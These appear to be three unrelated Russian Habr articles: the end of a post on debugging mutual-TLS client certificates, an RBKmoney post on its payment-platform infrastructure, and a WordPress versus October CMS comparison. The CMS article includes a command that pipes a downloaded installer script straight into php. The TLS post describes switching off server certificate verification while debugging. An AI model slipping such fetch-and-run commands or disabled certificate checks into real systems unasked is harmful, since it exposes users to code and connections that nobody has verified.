Придерживаясь принципа TDD, я также написала тест, в котором вместо WebClient используется WebTestClient, выводящий кучу отладочной информации. Самый первый assertion был таким:
```
webTestClient
.post()
.uri([как называется эндпоинт])
.body(BodyInserters.fromObject([тело запроса, в моём случае, обычная строка]))
.exchange()
.expectStatus().isOk()
```
Этот простой тест сразу же не прошёл: сервер вернул 500 с таким же body, как и в случае, если в Postman не указать клиентский сертификат.
Отдельно отмечу, что на время отладки, я включила опцию «не проверять серверный сертификат», а именно — передала инстанс InsecureTrustManagerFactory в качестве TrustManager для SslContext. Эта мера была избыточной, но исключала половину вариантов наверняка.
Отладочная информация в тесте не проливала свет на проблему, но выглядело всё, будто что-то пошло не так на этапе SSL handshake, поэтому я решила более подробно сравнить как происходит соединение в обоих случаях: для Postman и для Java клиента. Всё это можно посмотреть используя Wireshark — это такой популярный анализатор сетевого трафика. Заодно увидела как происходит SSL handshake с двухсторонней аутентификацией, так сказать, вживую (это очень любят спрашивать на собеседованиях):
* Перво-наперво клиент отправляет сообщение *Client Hello*, содержащее метаинформацию вроде версии протокола и списка алгоритмов шифрования, которые он поддерживает
* В ответ сервер отправляет сразу пачку следующих сообщений: *Server Hello, Certificate, Server Key Exchange, Certificate Request, Server Hello Done*.
В *Server Hello* указывается выбранный сервером алгоритм шифрования (cipher suite). Внутри Certificate лежит сертификат сервера. *Server Key Exchange* несёт в себе некоторую информацию, необходимую для шифрования, в зависимости от выбранного алгоритма (нас сейчас не интересуют детали, поэтому будем считать что это просто публичный ключ, хотя это некорректно!). Также, в случае двухсторонней аутентификации, в *Certificate Request* сообщении сервер делает запрос клиентского сертификата и поясняет, какие форматы он поддерживает и каким issuers доверяет.
* Получив эту информацию, клиент проверяет сертификат сервера и отправляет свой сертификат, свой «публичный ключ», и другую информацию, в следующих сообщениях: *Certificate, Client Key Exchange, Certificate Verify*. Последним идёт *ChangeCipherSpec* сообщение, сигнализирующее о том, что всё дальнейшее общение будет происходить в зашифрованном виде
* Наконец, после всех этих расшаркиваний, cервер проверят сертификат клиента и, если с ним всё в порядке, то отдаёт ответ.
После пятнадцати минут втыкания в траффик, я заметила, что Java клиент в ответ на *Certificate Request* от сервера, по какой-то причине не отправляет свой сертификат, в отличие от Postman клиента. То есть, Certificate message есть, но он пустой.
Дальше мне нужно было бы посмотреть сначала в [спецификацию протокола TLS](https://tools.ietf.org/html/rfc5246#section-7.4.6), которая говорит буквально следующее:
> If the certificate\_authorities list in the certificate request message was non-empty, one of the certificates in the certificate chain SHOULD be issued by one of the listed CAs.
Речь идёт о списке certificate\_authorities, указанном в *Certificate Request* message, приходящем от сервера. Клиентский сертификат (хотя бы один из цепочки) должен быть подписан одним из issuers, перечисленных в этом списке. Назовём это **проверкой X**.
Я об этом условии не знала и обнаружила его, когда дошла в отладке до глубин JDK (у меня это JDK9). Netty HttpClient, который лежит в основе Spring WebClient, использует по умолчанию SslEngine из JDK. Альтернативно можно переключить его на OpenSSL провайдер, добавив необходимые зависимости, но мне это, в конечном счёте, не потребовалось.
Итак, я расставила брейкпоинты внутри sun.security.ssl.ClientHandshaker класса и в хэндлере для serverHelloDone сообщения обнаружилась проверка X, которая не проходила: ни один из issuer-ов в цепочке клиентского сертификата не находился в списке issuer-ов, которым доверяет сервер (из *Certificate Request* message от сервера).
Я обратилась к заказчику за новым сертификатом, но заказчик возразил, что у него всё работает отлично, и вручил Python скрипт, которым он обычно проверял работоспособность сертификатов. Скрипт не делал ничего лишнего, кроме отправки HTTPS запроса с использованием Requests библиотеки, и возвращал 200 OK. Окончательно я удивилась, когда старый добрый curl тоже вернул 200 OK. Сразу вспомнился анекдот: «Вся рота идет не в ногу, один поручик шагает в ногу».
Curl — это, конечно, авторитетная утилита, но и TLS стандарт тоже не кусок туалетной бумаги. Не зная, что ещё можно проверить, я полезла бесцельно бродить по документации к curl, и на Github, где обнаружила [вот такой](https://github.com/curl/curl/issues/1411) известный баг.
Репортер описывал точь-в-точь проверку X: в curl с дефолтным бекэндом (OpenSSL) она не выполнялась, в отличие от curl с GnuTLS бекендом. Я не поленилась, собрала curl из исходников с опцией *--with-gnutls*, и отправила многострадальный реквест. И, наконец-то, ещё один клиент, кроме JDK, вернул HTTP статус 500 вместе с «Secutiry exception»!
Я написала об этом заказчику в ответ на аргумент «Ну curl-же работает» и получила новый сертификат, заново сгенеренный и аккуратно установленный на сервере. С ним моя конфигурация для WebClient заработала отлично. Happy End.
Эпопея с настройкой SSL заняла со всеми переписками больше двух недель (туда же вошло изучение подробных логов Java, ковыряние кода другого проекта, который у заказчика работает, и просто ковыряние в носу).
Что меня долго сбивало с толку, помимо разницы в поведении клиентов, так это то, что сервер был настроен таким образом, что сертификат запрашивал, но не проверял. Однако, и на это есть пояснения в спеке:
> Also, if some aspect of the certificate chain was unacceptable (e.g., it was not signed by a known, trusted CA), the server MAY at its discretion either continue the handshake (considering the client unauthenticated) or send a fatal alert. | https://habr.com/ru/post/414909/ | null | ru | null |
# RBKmoney Payments под капотом — инфраструктура платежной платформы
Привет, Хабр! Описание работы [внутренностей](https://habr.com/ru/company/rbkmoney/blog/447440/) большой платежной платформы логично будет продолжить описанием того, как именно все эти компоненты работают в реальном мире на физическом железе. В этом посте рассказываю о том, как и где размещены приложения платформы, каким образом до них доходит трафик из внешнего мира, а также опишу схему стандартной для нас стойки с оборудованием, размещенной в любом из наших дата-центров.
Подходы и ограничения
---------------------
Одно из первых требований, которые мы сформулировали перед разработкой платформы звучит как "возможность близкого к линейному масштабирования вычислительных ресурсов для обеспечения обработки любого количества транзакций".
Классические подходы платженых систем, используемые участниками рынка, подразумевают под собой наличие потолка, хоть и довольно высокого по заявлениям. Обычно это звучит так: "наш процессинг может принимать 1000 транзакций в секунду".
В наши бизнес-задачи и архитектуру такой подход не вписывается. Мы не хотим иметь какой-то предел. В самом деле, было бы странно услышать от Яндекса или Гугла заявление "мы можем обработать 1 миллион поисковых запросов в секунду". Платформа должна обработать столько запросов, сколько нужно в текущий момент бизнесу за счет архитектуры, которая позволяет, упрощенно говоря, отправить в ДЦ ИТшника с тележкой серверов, которые он установит в стойки, подключит к коммутатору и уедет. А оркестратор платформы раскатит на новые мощности копии экземпляров бизнес-приложений, в результате чего мы получим нужное нам увеличение RPS.
Второе важное требование заключается в обеспечении высокой доступности предоставляемых сервисов. Было бы забавно, но не слишком полезно, создать платежную платформу, которая может принимать бесконечное количество платежей в /dev/null.
Пожалуй, самый эффективный способ достичь высокой доступности — это многократно дублировать сущности, которые обслуживают сервис, с тем чтобы отказ любого разумного количества приложений, оборудования или дата-центров не повлиял на общую доступность платформы.
Многократное дублирование приложений требует большого количества физических серверов и сопутствующего сетевого оборудования. Это железо стоит денег, количество которых у нас конечно, мы не можем позволить себе покупать много дорогого железа. Так что платформа спроектирована таким образом, чтобы легко размещаться и чувствовать себя хорошо на большом количестве недорогого и не слишком мощного железа, либо вообще в публичном облаке.
Использование не самых сильных в плане вычислительной мощности серверов имеет свои преимущества — их отказ не оказывает критичного влияния на общее состояние системы в целом. Представьте, что лучше — если сгорит дорогой, большой и супернадежный брендовый сервер, на котором работает СУБД по схеме master-slave (а по закону Мерфи он обязательно сгорит, причем вечером 31 декабря) или парочка серверов в кластере из 30 нод, работающем по masterless-схеме?
Исходя из этой логики, мы решили не создавать себе еще одну массивную точку отказа в виде централизованного дискового массива. Общие блочные устройства нам обеспечивает кластер Ceph, развернутый гиперконвергентно на тех же серверах, но с отдельной сетевой инфраструктурой.
Таким образом, мы логически пришли к общей схеме универсальной стойки с вычислительными ресурсами в виде недорогих и не особо мощных серверов в дата-центре. Если нам нужно еще ресурсов, мы или добиваем любую свободную стойку серверами, либо ставим еще одну, желательно поближе.
Ну и, в конце концов, это просто красиво. Когда в стойки устанавливается понятное количество одинакового железа, это позволяет решить проблемы с качественной укладкой проводного хозяйства, позволяет избавиться от ласточкиных гнезд и опасности запутаться в проводах, уронив процессинг. А хорошая с инженерной точки зрения система должна быть красивой везде — и изнутри в виде кода, и снаружи в виде серверов и сетевого железа. Красивая система работает лучше и надежнее, у меня хватало предостаточно примеров убедиться в этом на личном опыте.
*Пожалуйста, не подумайте, что мы крохоборы или бизнес нам зажимает финансирование. Разработка и поддержка распределенной платформы на самом деле очень дорогое удовольствие. По факту это выходит даже дороже, чем владение классической системой, построенной, условно, на мощном брендовом железе с Oracle/MSSQL, серверами приложений и прочей обвязкой.*
*Окупается наш подход высокой надежностью, очень гибкими возможностями горизонтального масштабирования, отсутствием потолка по количеству платежей в секунду, и как бы странно это не звучало — большим количеством фана для ИТ-команды. Для меня уровень удовольствия разработчиков и девопсов от системы, которую они создают, не менее важен, чем предсказуемые сроки разработки, количество и качество выкатываемых фич.*
Серверная инфраструктура
------------------------
Логически, наши серверные мощности можно разделить на два основных класса: сервера для гипервизоров, для которых важна плотность ядер CPU и RAM на юнит, и сервера хранения данных, где основной акцент сделан на объем дискового пространства на юнит, а CPU и RAM уже подбираются под число дисков.
В текущий момент наш классический сервер для вычислительных мощностей выглядит так:
* 2xXeon E5-2630 CPU;
* 128G RAM;
* 3xSATA SSD (Ceph SSD pool);
* 1xNVMe SSD (dm-cache).
Сервер для хранения состояний:
* 1xXeon E5-2630 CPU;
* 12-16 HDD;
* 2 SSD для block.db;
* 32G RAM.
Сетевая инфраструктура
----------------------
В выборе сетевого железа наш подход несколько отличается. Для коммутации и маршрутизации между vlan-ами мы-таки используем брендовые коммутаторы, сейчас это Cisco SG500X-48 и Cisco Nexus C5020 в SAN.
Физически каждый сервер включается в сеть 4 физическими портами:
* 2x1GbE — сеть управления и RPC между приложениями;
* 2x10GbE — сеть для СХД.
Интерфейсы внутри машин объединяются bonding-ом, дальше тегированный трафик расходится по нужным vlan-ам.
Пожалуй, это единственное место в нашей инфраструктуре, где можно заметить лейбл известного вендора. Потому что для маршрутизации, сетевой фильтрации и инспекции трафика мы используем линуксовые хосты. Специализированных маршрутизаторов не покупаем. Все, что нам нужно мы настраиваем на серверах под управлением Gentoo (iptables для фильтрации, BIRD для динамической маршрутизации, Suricata в качестве IDS/IPS, Wallarm в качестве WAF).
Типичная стойка в ДЦ
--------------------
Схематически при масштабировании стойки в ДЦ практически не отличаются друг от друга за исключением маршрутизаторов к аплинкам, которые устанавливаются в одной из них.
Точные пропорции серверов разных классов могут варьироваться, но в целом логика сохраняется — серверов для вычислений больше, чем серверов для хранения данных.
Блочные устройства и разделение ресурсов
----------------------------------------
Попробуем собрать все вместе. Представим, что нам нужно разместить несколько наших микросервисов в инфраструктуре, для большей наглядности это будут микросервисы, которым надо между собой общаться по RPC и один из них — Machinegun, который хранит состояние в кластере Riak-а, а также немного вспомогательных сервисов, таких, как ноды ES и Consul.
Типичная схема размещения будет выглядеть так:
Для VM с приложениями, которым требуется максимальная скорость блочного устройства, вроде Riak и горячих нод Elasticsearch, используются разделы на локальных NVMe дисках. Такие VM жестко привязаны к своему гипервизору, и приложения сами отвечают за доступность и целостность своих данных.
Для общих блочных устройств мы используем Ceph RBD, обычно с write-through dm-cache на локальном NVMe диске. OSD для устройства могут быть как full-flash, так и HDD c SSD журналом, в зависимости от желаемого времени отклика.
Доставка трафика до приложений
------------------------------
Для балансировки запросов, приходящих снаружи, мы используем стандартную схему OSPFv3 ECMP. Небольшие виртуальные машины с nginx, bird, consul анонсируют в OSPF облако общие anycast адреса с интерфейса lo. На маршрутизаторах для этих адресов bird создает multi-hop routes, обеспечивающие per-flow балансировку, где flow это "src-ip src-port dst-ip dst-port". Для быстрого отключения пропавшего балансера используется протокол BFD.
При добавлении или выходе из строя любого из балансировщиков у верхнестоящих маршрутизаторов появляется или удаляется соответствующий маршрут, а сетевой трафик до них доставляется согласно подходов Equal-cost multi-path. И если мы специально не вмешиваемся, то весь сетевой трафик равномерно распределяется на все доступные балансировщики по IP-потоку каждому.
*Кстати, у подхода с ECMP-балансировкой есть неочевидные [подводные камни](https://blog.cloudflare.com/path-mtu-discovery-in-practice/), которые могут привести к совершенно неочевидным потерям части трафика, особенно если на маршруте между системами находятся другие маршрутизаторы или странным образом сконфигурированные фаерволы.*
*Для решения проблемы мы используем [демона PMTUD](https://github.com/cloudflare/pmtud) в этой части инфраструктуры.*
Дальше трафик идет вовнутрь платформы к конкретным микросервисам согласно конфигурации nginx-ов на балансировщиках.
И если с балансировкой наружного трафика все более-менее просто и понятно, то распространить подобную схему дальше вовнутрь было бы затруднительно — нам нужно нечто большее, чем просто проверка доступности контейнера с микросервисом на сетевом уровне.
Для того чтобы микросервис начал получать и обрабатывать запросы, он должен зарегистрироваться в Service Discovery (мы используем [Consul](https://www.consul.io/)), проходить ежесекундные health check-и и иметь разумный RTT.
Если микросервис чувствует и ведет себя хорошо, Consul начинает резолвить адрес его контейнера при обращении к своему DNS по имени сервиса. Мы используем внутреннюю зону `service.consul`, и, например, микросервис Common API 2 версии будет иметь имя `capi-v2.service.consul`.
Конфиг nginx-а касательно балансировки в итоге у нас выглядит так:
```
location = /v2/ {
set $service_hostname "${staging_pass}capi-v2.service.consul";
proxy_pass http://$service_hostname:8022;
}
```
Таким образом, если мы опять же не вмешиваемся специально, трафик с балансировщиков равномерно распределяется между всеми зарегистрированными в Service Discovery микросервисами, добавление или удаление новых экземпляров нужных микросервисов полностью автоматизировано.
Если запрос от балансировщика ушел в апстрим, а тот по дороге умер, мы возвращаем наружу 502 — балансировщик на своем уровне не может определить идемпотентный ли был запрос или нет, поэтому обработку таких ошибок мы отдаем на более высокий уровень логики.
Идемпотентность и дедлайны
--------------------------
Вообще, мы не боимся и не стесняемся отдавать с API ошибки 5хх, это нормальная часть работы системы, если сделать правильную обработку таких ошибок на уровне бизнес-логики RPC. Принципы этой обработки у нас описаны в виде небольшого мануала под названием Errors Retry Policy, мы его раздаем нашим клиентам-мерчантам и реализовываем внутри наших сервисов.
Для упрощения этой обработки мы реализовали несколько подходов.
Во-первых, для любых изменяющих состояние запросов к нашему API можно указать уникальный в рамках учетной записи ключ идемпотентности, который живет вечно и позволяет быть уверенным в том, что повторный вызов с одинаковым набором данных вернет одинаковый ответ.
Во-вторых, мы реализовали дополнительный механизм в виде уникального идентификатора платежной сессии, который гарантирует идемпотентность запросов на списание средств, обеспечивая защиту от ошибочных повторных списаний, даже если не генерировать и не передавать отдельный ключ идемпотентности.
В-третьих, мы решили дать возможность предсказуемого и контролируемого снаружи времени ответа на любой внешний вызов нашего API в виде параметра отсечки по времени, определяющего максимальное время ожидания завершения операции по запросу. Достаточно передать, к примеру, HTTP-заголовок `X-Request-Deadline: 10s`, чтобы быть уверенным в том, что ваш запрос выполнится в течение 10 секунд или будет убит платформой где-то внутри, после чего к нам можно будет обратиться снова, руководствуясь политикой переотправки запросов.
Управление и владение платформой
--------------------------------
Мы используем SaltStack в качестве инструмента управления как конфигурациями, так и инфраструктурой в целом. Отдельные инструменты для автоматизированного управления вычислительной мощностью платформы пока что не взлетели, хотя уже сейчас понимаем, что будем идти в эту сторону. При нашей любви к продуктам [Hashicorp](https://www.hashicorp.com/) это скорее всего будет Nomad.
Основные инструменты мониторинга инфраструктуры — это проверки в Nagios, а вот для бизнес-сущностей в основном настраиваем алерты в Grafana. В ней очень удобный инструмент задания условий, а event-based модель платформы позволяет все записать в Elasticsearch и настроить условия выборки.
Дата-центры находятся в Москве, в них мы арендуем стойко-места, самостоятельно устанавливаем и управляем всем оборудованием. Темную оптику нигде не используем, наружу у нас только интернет от местных провайдеров.
В остальном же наши подходы к мониторингу, управлению и сопутствующим сервисам скорее стандартны для отрасли, не уверен, что очередное описание интеграции этих сервисов стоит упоминания в посте.
На этой статье я, пожалуй, закончу цикл обзорных постов про то, как устроена наша платежная платформа.
Считаю, что цикл получился достаточно откровенным, я встречал мало статей, которые настолько подробно раскрывали бы внутреннюю кухню крупных платежных систем.
*Вообще, по моему мнению, высокий уровень открытости и откровенности — очень важная вещь для платежной системы. Такой подход не только повышает уровень доверия партнеров и плательщиков, но и дисциплинирует команду, создателей и операторов сервиса.*
*Так, руководствуясь этим принципом, мы недавно сделали общедоступным статус платформы и историю аптайма наших сервисов. Вся последующая история нашего аптайма, обновлений и падений отныне публична и доступна по адресу <https://status.rbk.money/>.*
Надеюсь, вам было интересно, а возможно, кому-то наши подходы и описанные ошибки окажутся полезными. Если вас заинтересовали какие-либо направления, описанные в постах, и вы хотели бы, чтобы я раскрыл их более подробно, пожалуйста, не стесняйтесь писать в комментариях или в личку.
Спасибо, что вы с нами!
P.S. Для вашего удобства указатель по предыдущим статьям цикла:
* [вступление и описание того, как все начиналось](https://habr.com/ru/company/rbkmoney/blog/416897/);
* [микросервисы и бизнес-конфигурация платформы](https://habr.com/ru/company/rbkmoney/blog/443518/);
* [реализация обработки бизнес-логики платформы](https://habr.com/ru/company/rbkmoney/blog/447440/). | https://habr.com/ru/post/451814/ | null | ru | null |
# Детальное сравнение WordPress и October CMS
*Меня зовут Павел Ловцевич, я сооснователь и CTO веб-студии LOVATA. Одной из основных платформ, на которой мы разрабатываем проекты для наших заказчиков, является October CMS, с которой мы работаем уже почти 6 лет.
Эта CMS несколько опередила свое время и не сразу снискала заслуженную популярность. Однако в последние пару лет она переживает своего рода ренессанс, свидетельством чему является множество упоминаний о ней в англоязычной среде разработчиков.
С целью поддержать эту волну данным переводом я начинаю серию статей об этой прекрасной CMS.*
Многие сейчас ищут альтернативы WordPress. В этой статье мы сравним его с October CMS и рассмотрим важные проблемы, которые нужно учитывать при поиске подходящей CMS для ваших проектов.
Три месяца назад *(Оригинальная статья была написана весной 2019 года. — Прим. перев.)* [WordPress](https://wordpress.org/) выпустила [Gutenberg](https://wordpress.org/gutenberg), чтобы расширить возможности редактирования контента по умолчанию. что побудило многих людей, [недовольных этим изменением](https://www.smashingmagazine.com/2018/12/gutenberg-accessibility-situation/), искать альтернативные CMS. Некоторые пользователи предпочли выпустить [форк](https://www.classicpress.net/) «догутенберговской» WordPress. Но это не имеет особого смысла, поскольку WordPress за 15 лет существования накопила колоссальный технический долг. Если бы я искал альтернативу WordPress, я бы старался найти зрелую платформу, построенную на современных технологиях.
В этой статье мы сравним WordPress с похожей, но более современной [October CMS](https://octobercms.com/), по многим техническим и нетехническим параметрам. Цель не в том, чтобы убедить вас использовать WordPress или перейти на October CMS. Я постараюсь показать, какие критерии необходимо учитывать при смене платформы. Такое же сравнение можно и нужно провести и с другими платформами, прежде чем принимать взвешенное решение.
Почему October CMS
------------------
Я узнал об October, когда она [стала лучшей](https://octobercms.com/blog/post/october-cms-voted-best-flat-file-cms-2018) flat-file CMS 2018 года. После чего я начал изучать этот инструмент и потратил прилично времени, погружаясь в него как с точки зрения пользователя, так и разработчика. Вскоре я понял, что она является весьма подходящим объектом для сравнения. Я выбрал именно ее, а не альтернативные варианты вроде [Grav](https://getgrav.org/), [Statamic](https://statamic.com/), [ButterCMS](https://buttercms.com/), [Joomla](https://www.joomla.org/), [Drupal](https://www.drupal.org/), [Jekyll](https://jekyllrb.com/), [Hugo](https://gohugo.io/) и т.д. И вот основные причины:
* Я понял, как October CMS работает (в отличие от Grav);
* Она бесплатная и опенсорсная (в отличие от Statamic и ButterCMS);
* В свои пять лет ее можно считать относительно новой (в отличие от Joomla и Drupal);
* Она содержит динамическую генерацию контента и работает на PHP (в отличие от Jekyll и Hugo).
Я считаю, что October это хороший вариант, потому что она основана на [Laravel](https://laravel.com/) — фреймворке, используемом для создания современных веб-приложений. За семь лет существования он завоевал признание разработчиков, о чем свидетельствует обширное сообщество и экосистема. И разработка на этом фреймворке заметно контрастирует с написанием кода для WordPress. Если в последнем случае это в основном процедурное программирование, то в Laravel оно явно объектно-ориентированное.
В чем разница?
--------------
Ниже я сравню WordPress и October по разным категориям и выделю плюсы и минусы каждой из них. Но я не буду выбирать победителя, поскольку цель статьи не в этом. Да и, в любом случае, не существует «более хорошей» или «самой лучшей» CMS. У каждой из них свои сильные и слабые стороны, что делает их более или менее подходящими для определенной задачи, проекта, компании или команды. Кроме того, для проекта может быть полезно использование нескольких CMS, например, использование одной для управления данными и другой для рендеринга страниц. Только вам решать, какая из десятков систем лучше всего подходит для вашей задачи.
В этой статье нельзя сделать окончательные выводы, поскольку мы рассматриваем здесь один из многих вариантов. Например, мы также можем найти в сети сравнения вроде «WordPress против Drupal против Joomla», «WordPress против Static Site Generators» или даже «WordPress против Medium». Поскольку ни одна из этих статей не даёт полной картины, то ни одно из этих сравнений не может быть и не должно рассматриваться как окончательное. Итак, давайте сравним.
Философия и целевая аудитория
-----------------------------
Неслучайно на WordPress сделан [почти каждый третий веб-сайт](https://w3techs.com/technologies/details/cm-wordpress/all/all). С момента своего создания она [стремилась быть максимально удобной](https://wordpress.org/about/philosophy/) для пользователя, и у неё это неплохо получалось. WordPress устраняла потенциальные трудности в использовании для всех пользователей вне зависимости от их уровня образования и технического бэкграунда. Основатель WordPress Мэтт Мулленвег выразил мнение, что девиз WordPress [«Демократизация публикаций»](https://ma.tt/2018/12/democratize-publishing-revisited/) для нынешней эпохи означает следующее:
> «Люди любого происхождения, интересов и способностей должны иметь доступ к программному обеспечению, которое позволяет им выражать себя в открытой сети и владеть своим контентом».
WordPress проста в использовании для всех, и её инклюзивность подтверждается и на стороне разработки: нередко можно встретить людей, не имеющих опыта программирования (таких как маркетологи, дизайнеры, блогеры, продавцы и т. д.), которые успешно запускают свои сайты. WordPress ориентирована на пользователя, и потребности пользователей тут приоритетнее потребностей разработчиков.
October CMS наоборот больше ориентирована на разработчика, что [было чётко понятно с момента релиза](https://octobercms.com/blog/post/putting-octobercms-words):
> «October CMS выдвигает смелую, но очевидную гипотезу: клиенты не создают веб-сайты, их делают разработчики. Роль клиента заключается в управлении сайтом и пояснении его бизнес-требований. Веб-разработчик и сама индустрия вращаются вокруг посредничества этих факторов».
[По словам её основателей](https://octobercms.com/about), миссия October CMS заключается в том, чтобы «доказать, что создание сайтов — это не очень сложно». October CMS, основанная на Laravel, станет хорошей отправной точкой для написания многократно используемого модульного кода. Он позволяет разрабатывать грамотно спроектированные приложения, которые будет легко кастомизировать и поддерживать в долгосрочной перспективе. Такие приложения можно поддерживать и полностью настраивать, не используя обходные приёмы («костыли») — как раз то, что привлекает серьезных программистов.
October CMS также может обеспечить отличное взаимодействие с пользователем, однако, она не так проста и удобна, как WordPress. Пользователям придётся разобраться, как работают определённые функции, прежде чем использовать их. Например, чтобы разобраться, как встроить форму через плагин, придётся прочитать длинную инструкцию, что сложнее, чем интуитивно понятная функция перетаскивания, которая есть [в нескольких плагинах форм](https://wordpress.org/plugins/search/forms/) в WordPress.
Установка
---------
WordPress можно [установить за пять минут](https://codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Installation), хотя многие отмечают, что с учётом всех плагинов обычно [на установку нужно от 15 минут](https://www.elegantthemes.com/blog/tips-tricks/putting-the-famous-wordpress-5-minute-install-to-the-test). Кроме того, WordPress предлагает функцию [Multisite](https://codex.wordpress.org/Create_A_Network), которая позволяет создавать сеть из нескольких виртуальных сайтов в рамках одной установки. Эта функция позволяет агентству легко [администрировать сайты нескольких клиентов](https://premium.wpmudev.org/blog/options-wordpress-multisite-network/).
Установка October CMS тоже очень простая: сама [установка Wizard](https://octobercms.com/docs/setup/installation#wizard-installation) занимает даже меньше пяти минут, а если вы устанавливаете её через [консольную установку](https://octobercms.com/docs/console/commands#console-install), то ещё быстрее. Последнее можно сделать, просто перейдя в целевой каталог и затем выполнив команду
````
curl -s https://octobercms.com/api/installer | php
````
После этого нужно ввести конфигурацию базы данных, в противном случае она ведет себя как flat-file CMS. Как только установка будет завершена, у нас будет полностью функционирующий сайт, но пока достаточно простой. Если добавить время для установки и настройки необходимых плагинов, можно рассчитывать, что это займет не меньше 15 минут.
Безопасность
------------
Не все считают WordPress безопасной из-за большого количества постоянно обнаруживаемых уязвимостей. Это вынуждает пользователей всё время обновлять саму CMS и все установленные плагины, чтобы избежать угроз безопасности. Среди основных проблем — поддержка старых версий PHP, которые больше не поддерживаются сообществом разработчиков PHP (WordPress сейчас поддерживает PHP 5.2.4, в то время как последняя полностью [поддерживаемая версия](https://secure.php.net/supported-versions.php) PHP — 5.6). Эта проблема должна быть решена в апреле 2019 года, когда WordPress официально начнет поддерживать PHP версии 5.6 и выше *(Проблема уже решена. — Прим. перев.)*.
Кроме того, угроза безопасности WordPress не столько в её внутренних проблемах, сколько из-за высокой популярности, что делает систему целью для хакеров. Однако это работает и в обратную сторону: повсеместное распространение WordPress означает, что её команда безопасности должна серьёзно относиться к своей работе, постоянно искать и исправлять уязвимости, в противном случае рискуют до трети сайтов в сети интернет. Ставки слишком высоки.
У October CMS, напротив, нет репутационных проблем с безопасностью. Однако, поскольку всего [27 000 активных сайтов сделаны на October](https://trends.builtwith.com/cms/October-CMS) (сравним с миллионами на WordPress), мы не можем оценивать обе системы на равных. Тем не менее, команда разработчиков October CMS серьёзно относится к безопасности. Об этом свидетельствует значение the Wizard installation prompt to input the CMS backend URL, которое по умолчанию установлено как / backend, но может быть изменено на что-то ещё, чтобы хакерам было сложнее ориентироваться на сайте. Изменение URL-адресов входа и бэкенда WordPress с /wp-login.php и / wp-admin соответственно, напротив, возможно [только через плагин](https://themeisle.com/blog/change-wordpress-login-page-url/). К тому же, October CMS может функционировать [как flat-file CMS](https://octobercms.com/support/article/ob-13) (т.е. без базы данных) и избегать уязвимостей, связанных с БД, таких как SQL-инъекции.
Стек технологий
---------------
Как WordPress, так и October CMS работают в традиционном стеке LAMP: Linux, Apache, MySQL и PHP. Однако обязателен только PHP: также можно использовать Windows, Nginx, MariaDB и т. д. October CMS может вести себя как flat-file CMS, то есть может обходиться без базы данных, правда, в ущерб функциональности (например, пропадают сообщения в блогах). Единственное, что гарантированно остаётся — функциональность страниц (pages), которая считается базой для создания и публикации контента и идёт в качестве основной функции.
Что касается языкового стека, то сайты, сделанные на WordPress и October CMS, основаны на HTML, CSS и JavaScript (обратите внимание, что PHP используется для генерации HTML). October CMS также позволяет легко [использовать файлы LESS и SASS](https://octobercms.com/docs/cms/pages#injecting-assets).
Парадигма программирования
--------------------------
WordPress использует принцип [функционального программирования](https://en.wikipedia.org/wiki/Functional_programming), основанный на вычислении путём вызова функции, которая не имеет состояния приложения. Несмотря на то, что разработчикам WordPress не обязательно придерживаться функционального программирования (например, для кодирования своих тем и плагинов), эта парадигма досталась основному коду системы для сохранения совместимости с предыдущими версиями на протяжении 15 лет. Это было одним из столпов успеха WordPress, однако это влечёт за собой [накопление технического долга](https://wordpress.tv/2019/01/06/alain-schlesser-the-eternal-struggle-backward-compatibility-vs-technical-debt/).
С другой стороны, October CMS использует [императивную парадигму программирования](https://en.wikipedia.org/wiki/Imperative_programming), основанную на вычислении путем манипулирования состоянием объектов. October CMS основана на Laravel — фреймворке, полностью построенном на принципах [объектно-ориентированного программирования](https://en.wikipedia.org/wiki/Object-oriented_programming). Эти принципы позволяют создавать модульные приложения на основе концепций [Model-View-Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) для отделения пользовательского интерфейса от данных приложения, [Dependency Injection](https://en.wikipedia.org/wiki/Dependency_injection) для настройки [зависимости классов](https://laravel.com/docs/5.7/container), а также [разделения интерфейса](https://en.wikipedia.org/wiki/Interface_segregation_principle) для определения [основных сервисов](https://laravel.com/docs/5.7/contracts), предоставляемых фреймворком.
Хуки
----
Программирование в WordPress можно охарактеризовать как «Разработка через хук». [Хук](https://codex.wordpress.org/Plugin_API/Hooks) — это механизм, который позволяет изменить поведение или значение по умолчанию и даёт возможность другому коду исполнять соответствующие функции. Хуки запускаются через «экшены», которые позволяют выполнять дополнительные функции, и «фильтры», которые позволяют изменять значения.
Хуки, которые широко распространены в кодовой базе WordPress — один из моих любимых аспектов программирования в WordPress. Они позволяют плагинам взаимодействовать друг с другом, ядром или темой, обеспечивая базовую поддержку [аспектно-ориентированного программирования](https://en.wikipedia.org/wiki/Aspect-oriented_programming).
Хорошая новость в том, что Laravel (и, соответственно, October CMS) также поддерживает концепцию хуков, которая называется [«События»](https://laravel.com/docs/5.7/events). Они обеспечивают простую реализацию концепции наблюдателя, позволяя коду подписываться и слушать события, которые происходят в приложении, чтобы реагировать по мере необходимости. События позволяют разбить сложную функциональность на компоненты, которые можно устанавливать независимо. При этом они будут взаимодействовать друг с другом, что позволяет создавать модульные приложения.
Зависимость от JavaScript-библиотек
-----------------------------------
Последняя версия WordPress по умолчанию включает в себя Gutenberg основанный на React.js, для создания контента. Следовательно, разработка WordPress теперь по большей части основана на JavaScript (преимущественно через [React](https://reactjs.org/)). Хотя возможно и использование других фреймворков и библиотек, о чём свидетельствует [Elementor Blocks](https://elementor.com/blog/blocks-for-gutenberg/) для Gutenberg, основанные на [Marionette](https://marionettejs.com/).
Кроме того, WordPress всё ещё основана на [Backbone.js](http://backbonejs.org/) (для Media Manager) и [jQuery](https://jquery.com/) (устаревший код), однако ожидается, что зависимость от этих библиотек исчезнет, поскольку Gutenberg становится новым умолчанием.
October CMS зависит от jQuery, которую она использует для реализации своего опционального [AJAX](https://octobercms.com/docs/ajax/introduction)-фреймворка для загрузки данных с сервера без обновления страницы браузера.
Страницы, темы, плагины
-----------------------
Как WordPress, так и October CMS рассматривают страницу как базовую единицу для создания и публикации контента (в случае WordPress, в дополнение к постам). Обе они поддерживают изменение внешнего вида сайта с помощью тем и позволяют устанавливать и расширять функциональные возможности с помощью плагинов.
Несмотря на то, что концепции одинаковы в обеих CMS, есть несколько различий в реализации. Как следствие, ведут они себя немного по-разному.
В WordPress страницы определяются как содержимое и хранятся в базе данных. Поэтому контент страницы может быть создан только через CMS (например, в админке) и переключение с одной темы на другую не делает существующую страницу недоступной. Благодаря этому, весь процесс получается довольно слаженным.
